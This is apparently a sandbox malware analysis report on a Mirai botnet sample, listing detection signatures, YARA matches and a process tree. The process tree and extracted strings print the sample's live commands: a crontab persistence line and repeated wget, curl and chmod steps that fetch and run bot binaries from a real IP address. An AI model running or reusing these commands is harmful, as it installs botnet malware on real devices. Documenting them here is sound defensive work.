Create Interactive Tour

Linux Analysis Report
sh4.elf

Overview

General Information

Sample name:	sh4.elf
Analysis ID:	1652780
MD5:	bc1b372f0aaba5c22317782cb4f1251a
SHA1:	5098f466816321a889be341243dbf0569aea2371
SHA256:	6980bdde453d2bc98d4310a8b430af29f2aab3cb278f12a16d6738aa62e7833e
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	92
Range:	0 - 100

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Mirai

Yara detected ShellDownloader

Executes the "crontab" command typically for achieving persistence

Modifies the '.bashrc' or '.bash_profile' file typically for persisting actions

Sample tries to persist itself using cron

Creates hidden files and/or directories

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "chmod" command used to modify permissions

Executes the "rm" command used to delete files or directories

Executes the "systemctl" command used for controlling the systemd system and service manager

Executes the "wget" command typically used for HTTP/S downloading

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Sample tries to set the executable flag

Sets full permissions to files and/or directories

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1652780
Start date and time:	2025-03-31 14:07:19 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	sh4.elf
Detection:	MAL
Classification:	mal92.troj.linELF@0/73@3/0

Warnings

Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: http://217.156.66.6/bins/armv7l
VT rate limit hit for: http://217.156.66.6/bins/m68k;
VT rate limit hit for: http://217.156.66.6/bins/sh4;
VT rate limit hit for: http://217.156.66.6/bins/sparc;
VT rate limit hit for: http://217.156.66.6/bins/x86_64

Runtime Messages

Command:	/tmp/sh4.elf
PID:	5399
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	we kinda rocking ngl
Standard Error:

Process Tree

system is lnxubuntu20

sh4.elf (PID: 5399, Parent: 5323, MD5: 8943e5f8f8c280467b4472c15ae93ba9) Arguments: /tmp/sh4.elf

sh4.elf New Fork (PID: 5401, Parent: 5399)

sh4.elf New Fork (PID: 5403, Parent: 5401)

sh4.elf New Fork (PID: 5428, Parent: 5401)

sh4.elf New Fork (PID: 5430, Parent: 5401)

sh4.elf New Fork (PID: 5432, Parent: 5401)

sh (PID: 5432, Parent: 5401, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "(crontab -l ; echo \"@reboot /bin/bash -c \"/bin/wget http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh\"\") | crontab -"

sh New Fork (PID: 5434, Parent: 5432)

sh New Fork (PID: 5436, Parent: 5434)

crontab (PID: 5436, Parent: 5434, MD5: 66e521d421ac9b407699061bf21806f5) Arguments: crontab -l

sh New Fork (PID: 5437, Parent: 5434)

chmod (PID: 5437, Parent: 5434, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x bins.sh

sh New Fork (PID: 5438, Parent: 5434)

sh (PID: 5438, Parent: 5434, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh bins.sh

sh New Fork (PID: 5439, Parent: 5434)

curl (PID: 5439, Parent: 5434, MD5: add6bc2195e82c55985ccf49fd4048e6) Arguments: /bin/curl -k -L --output bins.sh http://217.156.66.6/bins/bins.sh

sh New Fork (PID: 5471, Parent: 5434)

chmod (PID: 5471, Parent: 5434, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x bins.sh

sh (PID: 5434, Parent: 5432, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh bins.sh

sh New Fork (PID: 5472, Parent: 5434)

wget (PID: 5472, Parent: 5434, MD5: 996940118df7bb2aaa718589d4e95c08) Arguments: wget http://217.156.66.6/bins/armv4l

sh New Fork (PID: 5473, Parent: 5434)

chmod (PID: 5473, Parent: 5434, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 777 armv4l

sh New Fork (PID: 5474, Parent: 5434)

sh (PID: 5474, Parent: 5434, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh ./armv4l wscan

sh New Fork (PID: 5475, Parent: 5434)

wget (PID: 5475, Parent: 5434, MD5: 996940118df7bb2aaa718589d4e95c08) Arguments: wget http://217.156.66.6/bins/armv5l

sh New Fork (PID: 5480, Parent: 5434)

chmod (PID: 5480, Parent: 5434, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 777 armv5l

sh New Fork (PID: 5481, Parent: 5434)

sh (PID: 5481, Parent: 5434, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh ./armv5l wscan

sh New Fork (PID: 5482, Parent: 5434)

wget (PID: 5482, Parent: 5434, MD5: 996940118df7bb2aaa718589d4e95c08) Arguments: wget http://217.156.66.6/bins/armv6l

sh New Fork (PID: 5502, Parent: 5434)

chmod (PID: 5502, Parent: 5434, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 777 armv6l

sh New Fork (PID: 5503, Parent: 5434)

sh (PID: 5503, Parent: 5434, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh ./armv6l wscan

sh New Fork (PID: 5504, Parent: 5434)

wget (PID: 5504, Parent: 5434, MD5: 996940118df7bb2aaa718589d4e95c08) Arguments: wget http://217.156.66.6/bins/armv7l

sh New Fork (PID: 5507, Parent: 5434)

chmod (PID: 5507, Parent: 5434, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 777 armv7l

sh New Fork (PID: 5508, Parent: 5434)

sh New Fork (PID: 5509, Parent: 5434)

wget (PID: 5509, Parent: 5434, MD5: 996940118df7bb2aaa718589d4e95c08) Arguments: wget http://217.156.66.6/bins/i486

sh New Fork (PID: 5510, Parent: 5434)

chmod (PID: 5510, Parent: 5434, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 777 i486

sh New Fork (PID: 5511, Parent: 5434)

sh New Fork (PID: 5512, Parent: 5434)

wget (PID: 5512, Parent: 5434, MD5: 996940118df7bb2aaa718589d4e95c08) Arguments: wget http://217.156.66.6/bins/i586

sh New Fork (PID: 5516, Parent: 5434)

chmod (PID: 5516, Parent: 5434, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 777 i586

sh New Fork (PID: 5517, Parent: 5434)

sh (PID: 5517, Parent: 5434, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh ./i586 wscan

sh New Fork (PID: 5518, Parent: 5434)

wget (PID: 5518, Parent: 5434, MD5: 996940118df7bb2aaa718589d4e95c08) Arguments: wget http://217.156.66.6/bins/i686

sh New Fork (PID: 5521, Parent: 5434)

chmod (PID: 5521, Parent: 5434, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 777 i686

sh New Fork (PID: 5522, Parent: 5434)

sh (PID: 5522, Parent: 5434, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh ./i686 wscan

sh New Fork (PID: 5523, Parent: 5434)

wget (PID: 5523, Parent: 5434, MD5: 996940118df7bb2aaa718589d4e95c08) Arguments: wget http://217.156.66.6/bins/m68k

sh New Fork (PID: 5545, Parent: 5434)

chmod (PID: 5545, Parent: 5434, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 777 m68k

sh New Fork (PID: 5546, Parent: 5434)

sh (PID: 5546, Parent: 5434, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh ./m68k wscan

sh New Fork (PID: 5547, Parent: 5434)

wget (PID: 5547, Parent: 5434, MD5: 996940118df7bb2aaa718589d4e95c08) Arguments: wget http://217.156.66.6/bins/mips

sh New Fork (PID: 5548, Parent: 5434)

chmod (PID: 5548, Parent: 5434, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 777 mips

sh New Fork (PID: 5549, Parent: 5434)

sh (PID: 5549, Parent: 5434, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh ./mips wscan

sh New Fork (PID: 5550, Parent: 5549)

sh New Fork (PID: 5552, Parent: 5550)

sh New Fork (PID: 5551, Parent: 5549)

sh New Fork (PID: 5553, Parent: 5551)

sh New Fork (PID: 5554, Parent: 5434)

wget (PID: 5554, Parent: 5434, MD5: 996940118df7bb2aaa718589d4e95c08) Arguments: wget http://217.156.66.6/bins/mipsel

sh New Fork (PID: 5557, Parent: 5434)

chmod (PID: 5557, Parent: 5434, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 777 mipsel

sh New Fork (PID: 5558, Parent: 5434)

sh (PID: 5558, Parent: 5434, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh ./mipsel wscan

sh New Fork (PID: 5559, Parent: 5434)

wget (PID: 5559, Parent: 5434, MD5: 996940118df7bb2aaa718589d4e95c08) Arguments: wget http://217.156.66.6/bins/powerpc

sh New Fork (PID: 5562, Parent: 5434)

chmod (PID: 5562, Parent: 5434, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 777 powerpc

sh New Fork (PID: 5563, Parent: 5434)

sh (PID: 5563, Parent: 5434, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh ./powerpc wscan

sh New Fork (PID: 5564, Parent: 5434)

wget (PID: 5564, Parent: 5434, MD5: 996940118df7bb2aaa718589d4e95c08) Arguments: wget http://217.156.66.6/bins/sh4

sh New Fork (PID: 5565, Parent: 5434)

chmod (PID: 5565, Parent: 5434, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 777 sh4

sh New Fork (PID: 5566, Parent: 5434)

sh (PID: 5566, Parent: 5434, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh ./sh4 wscan

sh New Fork (PID: 5567, Parent: 5434)

wget (PID: 5567, Parent: 5434, MD5: 996940118df7bb2aaa718589d4e95c08) Arguments: wget http://217.156.66.6/bins/sparc

sh New Fork (PID: 5570, Parent: 5434)

chmod (PID: 5570, Parent: 5434, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 777 sparc

sh New Fork (PID: 5571, Parent: 5434)

sh (PID: 5571, Parent: 5434, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh ./sparc wscan

sh New Fork (PID: 5572, Parent: 5434)

wget (PID: 5572, Parent: 5434, MD5: 996940118df7bb2aaa718589d4e95c08) Arguments: wget http://217.156.66.6/bins/x86_64

sh New Fork (PID: 5575, Parent: 5434)

chmod (PID: 5575, Parent: 5434, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 777 x86_64

sh New Fork (PID: 5576, Parent: 5434)

sh (PID: 5576, Parent: 5434, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh ./x86_64 wscan

sh New Fork (PID: 5577, Parent: 5576)

sh New Fork (PID: 5578, Parent: 5576)

sh New Fork (PID: 5579, Parent: 5576)

sh New Fork (PID: 5580, Parent: 5576)

sh New Fork (PID: 5581, Parent: 5576)

sh New Fork (PID: 5582, Parent: 5576)

sh New Fork (PID: 5435, Parent: 5432)

crontab (PID: 5435, Parent: 5432, MD5: 66e521d421ac9b407699061bf21806f5) Arguments: crontab -

sh4.elf New Fork (PID: 5584, Parent: 5401)

sh (PID: 5584, Parent: 5401, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "/bin/systemctl enable bot"

sh New Fork (PID: 5590, Parent: 5584)

systemctl (PID: 5590, Parent: 5584, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: /bin/systemctl enable bot

fwupd New Fork (PID: 5407, Parent: 1)

gpgconf (PID: 5407, Parent: 1, MD5: ddc6865fed36b9020dfd6fe9d360ebbb) Arguments: /usr/bin/gpgconf --list-dirs

fwupd New Fork (PID: 5413, Parent: 1)

gpgconf (PID: 5413, Parent: 1, MD5: ddc6865fed36b9020dfd6fe9d360ebbb) Arguments: /usr/bin/gpgconf --list-components

fwupd New Fork (PID: 5415, Parent: 1)

gpg (PID: 5415, Parent: 1, MD5: 3c2e7402cc788b3a878a1d2bea56afbf) Arguments: /usr/bin/gpg --version

fwupd New Fork (PID: 5417, Parent: 1)

gpgsm (PID: 5417, Parent: 1, MD5: 66be603a7085efc7ee3140d2ff597485) Arguments: /usr/bin/gpgsm --version

fwupd New Fork (PID: 5419, Parent: 1)

gpgconf (PID: 5419, Parent: 1, MD5: ddc6865fed36b9020dfd6fe9d360ebbb) Arguments: /usr/bin/gpgconf --version

fwupd New Fork (PID: 5421, Parent: 1)

gpg (PID: 5421, Parent: 1, MD5: 3c2e7402cc788b3a878a1d2bea56afbf) Arguments: /usr/bin/gpg --version

fwupd New Fork (PID: 5423, Parent: 1)

gpg (PID: 5423, Parent: 1, MD5: 3c2e7402cc788b3a878a1d2bea56afbf) Arguments: gpg --enable-special-filenames --batch --no-sk-comments --homedir /var/lib/fwupd/gnupg --status-fd 24 --no-tty --charset utf8 --enable-progress-filter --exit-on-status-write-error --logger-fd 26 --import -- -&27

fwupd New Fork (PID: 5425, Parent: 1)

gpg (PID: 5425, Parent: 1, MD5: 3c2e7402cc788b3a878a1d2bea56afbf) Arguments: gpg --enable-special-filenames --batch --no-sk-comments --homedir /var/lib/fwupd/gnupg --status-fd 24 --no-tty --charset utf8 --enable-progress-filter --exit-on-status-write-error --logger-fd 26 --import -- -&27

fwupd New Fork (PID: 5427, Parent: 1)

gpg (PID: 5427, Parent: 1, MD5: 3c2e7402cc788b3a878a1d2bea56afbf) Arguments: gpg --enable-special-filenames --batch --no-sk-comments --homedir /var/lib/fwupd/gnupg --status-fd 23 --no-tty --charset utf8 --enable-progress-filter --exit-on-status-write-error --logger-fd 25 --verify -- -&26 -&28

fwupd New Fork (PID: 5441, Parent: 1)

gpg (PID: 5441, Parent: 1, MD5: 3c2e7402cc788b3a878a1d2bea56afbf) Arguments: gpg --enable-special-filenames --batch --no-sk-comments --homedir /var/lib/fwupd/gnupg --status-fd 23 --no-tty --charset utf8 --enable-progress-filter --exit-on-status-write-error --logger-fd 25 --verify -- -&26 -&28

dash New Fork (PID: 5524, Parent: 3595)

rm (PID: 5524, Parent: 3595, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.pLfCMWTILY /tmp/tmp.cg1emh4Zop /tmp/tmp.psmzQqD7sF

dash New Fork (PID: 5525, Parent: 3595)

rm (PID: 5525, Parent: 3595, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.pLfCMWTILY /tmp/tmp.cg1emh4Zop /tmp/tmp.psmzQqD7sF

systemd New Fork (PID: 5592, Parent: 5591)

snapd-env-generator (PID: 5592, Parent: 5591, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
sh4.elf	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0x1321bb:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
dump.pcap	Linux_Trojan_Gafgyt_5bf62ce4	unknown	unknown	0x6e04d:$a: 89 E5 56 53 31 F6 8D 45 10 83 EC 10 89 45 F4 8B 55 F4 46 8D
dump.pcap	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0x12a6ec:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
dump.pcap	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0x1282d5:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x12845b:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
dump.pcap	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x12e09a:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
dump.pcap	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0x1325dc:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
dump.pcap	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0x1328a7:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
dump.pcap	Linux_Trojan_Mirai_268aac0b	unknown	unknown	0x7b3fd:$a: 24 18 0F B7 44 24 20 8B 54 24 1C 83 F9 01 8B 7E 0C 89 04 24 8B
dump.pcap	Linux_Trojan_Mirai_fa3ad9d0	unknown	unknown	0x65290:$a: CB 08 C1 CB 10 66 C1 CB 08 31 C9 8A 4F 14 D3 E8 01 D8 66 C1
dump.pcap	Linux_Trojan_Mirai_0cb1699c	unknown	unknown	0x7b3b0:$a: DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 10 0F B7 02 83 E9 02 83
dump.pcap	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x67038:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
dump.pcap	Linux_Trojan_Mirai_3a85a418	unknown	unknown	0x7adc5:$a: 01 D8 66 C1 C8 08 C1 C8 10 66 C1 C8 08 66 83 7C 24 2C FF 89
dump.pcap	Linux_Trojan_Mirai_520deeb8	unknown	unknown	0x12046b:$a: ED 48 89 44 24 30 44 89 6C 24 10 7E 47 48 89 C1 44 89 E8 44
dump.pcap	Linux_Trojan_Mirai_5f7b67b8	unknown	unknown	0x6ee21:$a: 89 38 83 CF FF 89 F8 5A 59 5F C3 57 56 83 EC 04 8B 7C 24 10 8B 4C
dump.pcap	Linux_Trojan_Mirai_2e3f67a9	unknown	unknown	0x79eec:$a: 53 83 EC 04 0F B6 74 24 14 8B 5C 24 18 8B 7C 24 20 0F B6 44 0x79f4c:$a: 53 83 EC 04 0F B6 74 24 14 8B 5C 24 18 8B 7C 24 20 0F B6 44
dump.pcap	Linux_Trojan_Mirai_01e4a728	unknown	unknown	0x12056e:$a: 44 24 23 48 8B 6C 24 28 83 F9 01 4A 8D 14 20 0F B6 02 88 45 08
dump.pcap	Linux_Trojan_Mirai_88de437f	unknown	unknown	0x69c2e:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0 0x7dcda:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
dump.pcap	Linux_Trojan_Mirai_e0cf29e2	unknown	unknown	0x1249ab:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C2 83 FE 01
dump.pcap	Linux_Trojan_Mirai_ae9d0fa6	unknown	unknown	0x62b40:$a: 83 EC 04 8A 44 24 18 8B 5C 24 14 88 44 24 03 8A 44 24 10 25 FF 00
dump.pcap	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0x71e4c:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
dump.pcap	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0x6c65b:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08 0x80c2f:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
dump.pcap	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x69bfe:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
Click to see the 17 entries

Dropped Files

Source	Rule	Description	Author	Strings
/bins.sh	JoeSecurity_ShellDownloader	Yara detected ShellDownloader	Joe Security
/tmp/i686	Linux_Trojan_Mirai_268aac0b	unknown	unknown	0x5a05:$a: 24 18 0F B7 44 24 20 8B 54 24 1C 83 F9 01 8B 7E 0C 89 04 24 8B
/tmp/i686	Linux_Trojan_Mirai_0cb1699c	unknown	unknown	0x59b8:$a: DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 10 0F B7 02 83 E9 02 83
/tmp/i686	Linux_Trojan_Mirai_3a85a418	unknown	unknown	0x547b:$a: 01 D8 66 C1 C8 08 C1 C8 10 66 C1 C8 08 66 83 7C 24 2C FF 89
/tmp/i686	Linux_Trojan_Mirai_2e3f67a9	unknown	unknown	0x17e6:$a: 53 83 EC 04 0F B6 74 24 14 8B 5C 24 18 8B 7C 24 20 0F B6 44 0x1846:$a: 53 83 EC 04 0F B6 74 24 14 8B 5C 24 18 8B 7C 24 20 0F B6 44
/tmp/i686	Linux_Trojan_Mirai_88de437f	unknown	unknown	0x88bd:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
/tmp/i686	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xae4a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
/tmp/i586	Linux_Trojan_Gafgyt_5bf62ce4	unknown	unknown	0xb4e6:$a: 89 E5 56 53 31 F6 8D 45 10 83 EC 10 89 45 F4 8B 55 F4 46 8D
/tmp/i586	Linux_Trojan_Mirai_fa3ad9d0	unknown	unknown	0x32ba:$a: CB 08 C1 CB 10 66 C1 CB 08 31 C9 8A 4F 14 D3 E8 01 D8 66 C1
/tmp/i586	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x4c41:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
/tmp/i586	Linux_Trojan_Mirai_5f7b67b8	unknown	unknown	0xc108:$a: 89 38 83 CF FF 89 F8 5A 59 5F C3 57 56 83 EC 04 8B 7C 24 10 8B 4C
/tmp/i586	Linux_Trojan_Mirai_88de437f	unknown	unknown	0x750c:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
/tmp/i586	Linux_Trojan_Mirai_ae9d0fa6	unknown	unknown	0x1078:$a: 83 EC 04 8A 44 24 18 8B 5C 24 14 88 44 24 03 8A 44 24 10 25 FF 00
/tmp/i586	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xb13c:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
/tmp/i586	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0x9982:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
/tmp/i586	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x74dc:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
/tmp/x86_64	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0xab7b:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
/tmp/x86_64	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0xb38a:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
/tmp/x86_64	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0x8449:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x85cf:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
/tmp/x86_64	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0xe45a:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
/tmp/x86_64	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0xaf4a:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
/tmp/x86_64	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0xb215:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
/tmp/x86_64	Linux_Trojan_Mirai_520deeb8	unknown	unknown	0x14c2:$a: ED 48 89 44 24 30 44 89 6C 24 10 7E 47 48 89 C1 44 89 E8 44
/tmp/x86_64	Linux_Trojan_Mirai_01e4a728	unknown	unknown	0x15c5:$a: 44 24 23 48 8B 6C 24 28 83 F9 01 4A 8D 14 20 0F B6 02 88 45 08
/tmp/x86_64	Linux_Trojan_Mirai_e0cf29e2	unknown	unknown	0x5125:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C2 83 FE 01
Click to see the 20 entries

Memory Dumps

Source	Rule	Description	Author
5399.1.00007f058c400000.00007f058c410000.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
5401.1.00007f058c400000.00007f058c410000.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
5403.1.00007f058c400000.00007f058c410000.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

• AV Detection
• Spreading
• Networking
• System Summary
• Persistence and Installation Behavior
• Malware Analysis System Evasion
• Stealing of Sensitive Information
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: sh4.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: sh4.elf

ReversingLabs: Detection: 27%

Source: sh4.elf	String: /proc//exedvrHelper/proc/%d/cwd/var/tmp/proc/%d/fd.../proc/%d/fd/%s/proc/proc/%d/stat /cmdline/wget/tftp/curl/reboot/libbin//dev/watchdog/dev/misc/watchdogsh4->unknown%d/bin/busybox/bin/sh/var/Sofiatelnetd
Source: sh4.elf	String: /bin/bash -c "/bin/wget http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh"
Source: sh4.elf	String: j2go/proc/net/tcp5.188.230.23137.18.73.94167.235.128.15168.191.23.13445.195.74.233141.94.21.7118.220.154.2118.210.151.8537.187.153.12745.195.74.1970123456789ABCDEF(crontab -l ; echo "@reboot %s") \| crontab -/bin/bash -c "/bin/wget http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh"%s/.bashrca
Source: sh4.126.dr	String: /proc//exedvrHelper/proc/%d/cwd/var/tmp/proc/%d/fd.../proc/%d/fd/%s/proc/proc/%d/stat /cmdline/wget/tftp/curl/reboot/libbin//dev/watchdog/dev/misc/watchdogsh4->unknown%d/bin/busybox/bin/sh/var/Sofiatelnetd
Source: sh4.126.dr	String: /bin/bash -c "/bin/wget http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh"
Source: sh4.126.dr	String: j2go/proc/net/tcp5.188.230.23137.18.73.94167.235.128.15168.191.23.13445.195.74.233141.94.21.7118.220.154.2118.210.151.8537.187.153.12745.195.74.1970123456789ABCDEF(crontab -l ; echo "@reboot %s") \| crontab -/bin/bash -c "/bin/wget http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh"%s/.bashrca
